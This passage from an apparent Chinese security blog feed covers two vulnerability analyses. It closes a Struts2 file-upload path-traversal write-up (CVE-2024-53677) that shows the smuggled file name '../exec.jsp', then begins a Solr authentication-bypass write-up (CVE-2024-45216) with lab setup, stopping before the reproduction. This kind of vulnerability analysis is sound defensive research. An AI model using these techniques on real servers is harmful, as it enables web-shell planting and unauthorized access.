data-imgfileid="100005195" data-ratio="0.5611111111111111" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6da218b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499KiaAwPHBhiac2BpyhibiangG2uA7aXSibBQx0h50keWeB1nbdZB6MCnkExnA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">myfieFileName 被覆盖为</span></span><span style="text-indent: 0pt;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">../exec.jsp</span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">，后续解析路径穿越符，于是上传保存的文件路径就是</span></span><span style="text-indent: 0pt;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/uploads/exec.j</span><span style="text-indent: 0pt;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">sp</span><span style="text-indent: 0pt;letter-spacing: 0.034em;font-size: 18px;"><span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">。</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="137" data-backw="578" data-galleryid="" data-imgfileid="100005196" data-ratio="0.2376333656644035" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1031" src="https://wechat2rss.xlab.app/img-proxy/?k=8b5361f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499Kt6m1GXfic7r2g7iazKFIwoiaOREJoDPpBDehRMBSsiaibGMGaRkoicWq4UjQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 0px;letter-spacing: 0.578px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);text-decoration: underline;">5. 补丁分析</span></p><section style="margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">官方并没有针对这次利用方法发布补丁，而是在新版本中推出了新的文件上传拦截机制。           <br/></span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">org.apache.struts2.interceptor.ActionFileUploadInterceptor  </span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">  <br/></span></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;"><a href="https://struts.apache.org/core-developers/action-file-upload" target="_blank">https://struts.apache.org/core-developers/action-file-upload</a></span></section><section style="margin-bottom: 8px;"><span style="font-family: Cambria;font-size: 18px;text-align: left;text-indent: 0pt;letter-spacing: 0.034em;">ActionFileUploadInterceptor 中直接从文件中获取参数信息，并没</span><span style="font-family: Cambria;font-size: 18px;text-align: left;text-indent: 0pt;letter-spacing: 0.034em;">有把文件参数与请求中的参数进行合并。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="293" data-backw="578" data-galleryid="" data-imgfileid="100005197" data-ratio="0.5064814814814815" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=21fac5aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499KSo7H7TuxGp83G64IKYSjSZYNSfArZZdm48KkeLuuITJ62YVUwbRB4A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"><img class="rich_pages wxw-img" data-backh="298" data-backw="560" data-imgfileid="100005181" data-ratio="0.5314814814814814" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a4689776&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499KuyVpLMfWzLKptZgYlLNZ6Lqhhh6pJPyIsaWyY8Kwd2Yh4dibUROATVw%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">不过在执行 ActionFileUploadInterceptor 拦截器前，先执行了 FileUploadInterceptor，所以请求中构造的 top.MyfileFileName 还是被合并到了参数中。<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="222" data-backw="578" data-galleryid="" data-imgfileid="100005198" data-ratio="0.38425925925925924" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=db213706&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499KHETaCm6cy5SPHQpPAgCWBncibpeHm5z2h5VafL9O3ztUzlQ9rn8yNiaQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">在参数绑定过程中仍然会覆盖 MyfileFileName 的值。<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="204" data-backw="578" data-galleryid="" data-imgfileid="100005199" data-ratio="0.3532994923857868" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="985" src="https://wechat2rss.xlab.app/img-proxy/?k=748acebb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57ME7LEFMtgDSpiaVVibuX499Ka4l5ucw81unEsxw5aHcJJBriaDaiaJe1GAicznBwRyF9Kf2Bev4BCzjrQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;"></span></strong><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;"></span></p><p style="margin-top: 9pt;margin-bottom: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">参考链接：</span></strong><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;font-size: 18px;"><a href="https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/" target="_blank">https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/</a></span><span style="font-size: 18px;">    </span><o:page></o:page></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488851">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0a3a9b01&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488851%26idx%3D1%26sn%3Defb4d5fe76d020e05760236c16b33ac5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 20 Dec 2024 19:30:00 +0800</pubDate>
    </item>
    <item>
      <title>Apache Solr 身份验证绕过漏洞分析（CVE-2024-45216）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488827&amp;idx=1&amp;sn=f3086118f07d69c4ba6746464f993e16</link>
      <description>Apache Solr 中存在不正确的身份验证漏洞。使用 PKIAuthenticationPlugin 的 Solr 实例容易受到身份验证绕过的影响。</description>
      <content:encoded><![CDATA[<p>
原创 <span>元亨-blckder02</span> <span>2024-12-17 12:00</span> <span style="display: inline-block;">浙江</span>
</p>

<p>Apache Solr 中存在不正确的身份验证漏洞。使用 PKIAuthenticationPlugin 的 Solr 实例容易受到身份验证绕过的影响。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9854ee5a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAzD5pbuPZGqzbrhmiadmxFVMLBibMKYtzqkywZFVpL8v2MSd32qhzNqAsw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;"><span style="background-color: rgb(255, 255, 255);color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-decoration: underline;text-align: left;">1. 前言</span></p><p><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">官方公告：</span></strong><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">            <br/></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;"><a href="https://solr.apache.org/security.html#cve-2024-45216-apache-solr-authentication-bypass-possible-using-a-fake-url-path-ending" target="_blank">https://solr.apache.org/security.html#cve-2024-45216-apache-solr-authentication-bypass-possible-using-a-fake-url-path-ending</a></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><br/></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;"><a href="https://issues.apache.org/jira/browse/SOLR-17417" target="_blank">https://issues.apache.org/jira/browse/SOLR-17417</a></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">漏洞描述：</span></strong><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><br/>Apache Solr 中存在不正确的身份验证漏洞。使用 PKIAuthenticationPlugin 的 Solr 实例（在使用 Solr 身份验证时默认启用）容易受到身份验证绕过的影响。任何 Solr API URL 路径末尾的假结尾将允许请求跳过身份验证，同时保持与原始 URL 路径的 API 契约。这个假结尾看起来像一个不受保护的 API 路径，但它在身份验证之后但在 API 路由之前在内部被剥离。</span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">影响版本：</span></strong><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><br/>Apache Solr 5.3.0 ~ 8.11.4 之前版本<br/>Apache Solr 9.0.0 ~ 9.7.0 之前版本</span></span></p><p style="margin-bottom: 0px;letter-spacing: 0.578px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);text-decoration: underline;">2. 环境搭建</span></p><section style="text-align: left;margin-bottom: 8px;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">9.x.x 版本下载地址：</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;"><a href="https://archive.apache.org/dist/solr/solr/" target="_blank">https://archive.apache.org/dist/solr/solr/</a></span><span style="font-family: Cambria;font-variant: normal;text-transform: none;"><br/>8.x.x 及以前版本下载地址：</span><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;"><a href="https://archive.apache.org/dist/lucene/solr/" target="_blank">https://archive.apache.org/dist/lucene/solr/</a></span></span></section><p style="text-align: left;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;text-decoration: none;">官方教程文档：<a href="https://solr.apache.org/guide/8_11/" target="_blank">https://solr.apache.org/guide/8_11/</a></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">本次复现使用 Apahce solr 8.11.3，jdk 11.0.16。</span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">在bin目录下运行以下命令即可启动或停止 solr，</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">-c</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">是以 SolrCloud 模式启动solr，</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">-p</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">指定启动端口：</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">solr</span> -p <span class="code-snippet__number">8983</span>      <span class="code-snippet__comment">#启动            </span></span></code><code><span class="code-snippet_outer">solr stop -p <span class="code-snippet__number">8983</span>       <span class="code-snippet__comment">#停止            </span></span></code><code><span class="code-snippet_outer">solr -c -p <span class="code-snippet__number">8983</span>     <span class="code-snippet__comment">#以 SolrCloud 模式启动            </span></span></code><code><span class="code-snippet_outer">solr -c -p <span class="code-snippet__number">8983</span> -a <span class="code-snippet__string">&#34;-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005&#34;</span>       <span class="code-snippet__comment">#启动并开启远程调试</span></span></code></pre></section><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;word-break: break-all;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;letter-spacing: 0.034em;text-align: justify;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">浏览器访问 </span><span style="font-size: 18px;letter-spacing: 0.034em;text-align: justify;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;"><a href="http://localhost:8983/solr/" target="_blank">http://localhost:8983/solr/</a></span><span style="font-size: 18px;letter-spacing: 0.034em;text-align: justify;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;"> ，solr 成功运行。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="145" data-backw="578" data-galleryid="" data-imgfileid="100005155" data-ratio="0.25" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e0725fa8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAzbE8YrhOYp039ok3mdoREHRGpUibvcEqFrbGFwnVWNPepB7xuqTwIfXQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 8px;"><span style="font-family: Cambria;text-align: left;text-indent: 0pt;font-size: 18px;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">这个时候访问</span><span style="text-indent: 0pt;text-align: justify;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/solr/admin/info/properties</span><span style="font-family: Cambria;text-align: left;text-indent: 0pt;font-size: 18px;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">，不需要登录，会显示配置信息。</span></section><section style="text-align: left;margin-bottom: 8px;"><span style="font-family: Cambria;text-align: left;text-indent: 0pt;font-size: 18px;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;"></span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="196" data-backw="578" data-galleryid="" data-imgfileid="100005156" data-ratio="0.3398184176394293" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="771" src="https://wechat2rss.xlab.app/img-proxy/?k=3e3b10b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAz2w28chaZZkJQ8SMeQ399aUG1FA9YgYyok86rRym0XGDqwUel5BGNIQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="text-align: left;"><span style="font-family: Cambria;font-size: 18px;text-indent: 0pt;letter-spacing: 0.034em;">要还原漏洞环境，我</span><span style="font-family: Cambria;font-size: 18px;text-indent: 0pt;letter-spacing: 0.034em;">们需要自己配置身份验证和授权。</span><span style="font-family: Cambria;font-size: 18px;text-indent: 0pt;letter-spacing: 0.034em;">Solr 所有身份验证、授权和审计日志插件等相关配置（包括用户和权限规则）都存储在 security.json 文件中，在 SolrCloud 模式中需要将 security.json 上传至 ZooKeeper。</span><span style="font-family: Cambria;font-size: 18px;text-indent: 0pt;letter-spacing: 0.034em;">如果本地没有搭建 ZooKeeper 服务，可以使用 Solr 自带的嵌入式 ZooKeeper，默认端口为 9983。</span></p><section style="margin-top: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-bottom: 8px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">自定义一个 security.json ，这里直接使用官方提供的配置。            <br/>authentication 为认证部分：           <br/>

     - blockUnknown 为 true，未经认证的请求不允许通过；<br/>

     - 指定 solr.BasicAuthPlugin 插件类为solr提供身份验证；<br/>

     - 定义用户名为 solr 的用户，密码通过加密存储。</span></section><section style="text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-top: 8px;margin-bottom: 0px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">authorization 为授权部分：           <br/>

     - 指定 solr.RuleBasedAuthorizationPlugin 插件类为 solr 提供授权；</span></section><section style="margin-bottom: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;margin-top: 0px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">

     - permissions 定义操作权限，权限名称为 security-edit，表示允许编辑安全配置。拥有该权限的角色是 admin；<br/>

     - 定义用户与角色的映射关系，表示 solr 用户拥有 admin角色的权限。</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">{            </span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#34;authentication&#34;</span>:{            </span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">&#34;blockUnknown&#34;</span>: <span class="code-snippet__literal">true</span>,            </span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">&#34;class&#34;</span>:<span class="code-snippet__string">&#34;solr.BasicAuthPlugin&#34;</span>,            </span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">&#34;credentials&#34;</span>:{<span class="code-snippet__attr">&#34;solr&#34;</span>:<span class="code-snippet__string">&#34;IV0EHq1OnNrj6gvRCwvFwTrZ1+z1oBbnQdiVC3otuq0= Ndd7LKvVBAaZIF0QAVi1ekCfAJXr1GGfLtRUXhgrF8c=&#34;</span>},            </span></code><code><span class="code-snippet_outer">},            </span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#34;authorization&#34;</span>:{            </span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">&#34;class&#34;</span>:<span class="code-snippet__string">&#34;solr.RuleBasedAuthorizationPlugin&#34;</span>,            </span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">&#34;permissions&#34;</span>:[{<span class="code-snippet__attr">&#34;name&#34;</span>:<span class="code-snippet__string">&#34;security-edit&#34;</span>,            </span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">&#34;role&#34;</span>:<span class="code-snippet__string">&#34;admin&#34;</span>}],            </span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">&#34;user-role&#34;</span>:{<span class="code-snippet__attr">&#34;solr&#34;</span>:<span class="code-snippet__string">&#34;admin&#34;</span>}            </span></code><code><span class="code-snippet_outer">    }            </span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;word-break: break-all;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size: 18px;letter-spacing: 0.034em;text-align: justify;">先以 SolrCloud 模式启动 Solr，执行下面的命令将自定义的 security.json 文件上传到 ZooKeeper。</span><span style="font-size: 18px;letter-spacing: 0.034em;text-align: justify;">           </span><span style="font-size: 18px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">solr</span> zk cp -z localhost:<span class="code-snippet__number">9983</span> file:security.json zk:/security.json</span></code></pre></section><section style="margin-bottom: 8px;text-align: left;"><span style="font-size: 18px;font-family: Cambria;text-align: left;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">上传成功后重新启动 Solr，身份验证生效，访问主页和 </span><span style="text-indent: 0pt;text-align: justify;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/solr/admin/info/properties</span><span style="font-size: 18px;font-family: Cambria;text-align: left;text-indent: 0pt;letter-spacing: 0.034em;"> </span><span style="font-size: 18px;font-family: Cambria;text-align: left;text-indent: 0pt;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">就需要登录了。</span></section><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="256" data-backw="578" data-galleryid="" data-imgfileid="100005157" data-ratio="0.4429868819374369" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="991" src="https://wechat2rss.xlab.app/img-proxy/?k=d8b92ee7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAz7ysWmAAv7IHaIVld3whRR8Yybia8icQ3J5wHXQxkWdtx9FLDDNspVKRg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;font-size: 18px;">这样漏洞环境就搭好了。</span></p><p style="margin-bottom: 0px;letter-spacing: 0.578px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap-style: initial;background-color: rgb(255, 255, 255);text-decoration: underline;">3. 漏洞复现</span></p><p style="margin-bottom: 8px;text-align: left;"><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">在未登录的情况下访问</span></span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/solr/admin/info/properties</span><span style="font-size: 18px;"><span style="font-family: Cambria;font-variant: normal;text-transform: none;">会返回401。<br/></span></span></p><section style="text-align: center;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-backh="253" data-backw="578" data-galleryid="" data-imgfileid="100005158" data-ratio="0.43703703703703706" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f65401c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OZaMCjnKjMERKozVvMwKAz1yyhIfrmBYvZYmFBrBmZUgrl6WWmChlVphpMe6MHicGDIhQ2kvUjBUg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-bottom: 8px;text-align: left;"><span style="font-family: 